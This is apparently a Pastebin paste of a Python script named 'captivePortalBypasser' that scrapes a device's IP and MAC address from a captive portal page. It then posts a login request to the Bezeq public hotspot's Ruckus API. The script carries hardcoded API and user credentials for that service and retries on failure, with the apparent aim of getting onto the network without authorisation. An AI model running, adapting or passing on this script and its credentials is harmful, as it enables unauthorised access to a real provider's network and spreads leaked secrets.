Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import time
- from bs4 import BeautifulSoup
- import urlparse
- import json
- class captivePortalBypasser(object):
- def __init__(self):
- self.testURL = "http://ipchicken.com"#"http://ipchicken.com"
- self.isConfigured = False
- self.maxTries = 6
- self.tries = 0
- def testCaptivePortal(self):
- r = requests.get(self.testURL,allow_redirects=True)
- if "Free public IP lookup" in r.text:
- return True
- else:
- return False
- def success(self):
- self.tries = 0
- def fail(self):
- if self.tries < self.maxTries:
- self.tries+=1
- r = requests.get(self.testURL,allow_redirects=True)
- soup = BeautifulSoup(r.text, 'html.parser')
- forms = soup.findAll('form')
- eip = ""
- eMac = ""
- for form in forms:
- if "var myMac" in form.text:
- lines = form.text.split("\n")
- for line in lines:
- if "var " in line:
- if "myIp" in line:
- eip = str(line.split('"')[1])
- if "myMac" in line:
- eMac = str(line.split('"')[1])
- if eip != "" and eMac != "":
- cmd = {"Vendor":"ruckus","RequestPassword":"3edc#EDC","APIVersion":"1.0","RequestCategory":"UserOnlineControl","RequestType":"Login","UE-IP":eip,"UE-MAC":eMac,"UE-Proxy":"0","UE-Username":"bezeq","UE-Password":"bezeq1234"}
- headers = {u'content-type': u'application/json;charset=UTF-8'}
- r = requests.post("https://bhotspot.bezeq.co.il/api/ruckus/login",
- headers=headers, data=json.dumps(cmd))
- else:
- time.sleep(60*30)
- self.tries=0
- if self.testCaptivePortal():
- self.success()
- else:
- self.fail()
- t = captivePortalBypasser()
- if t.testCaptivePortal():
- t.success()
- else:
- t.fail()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement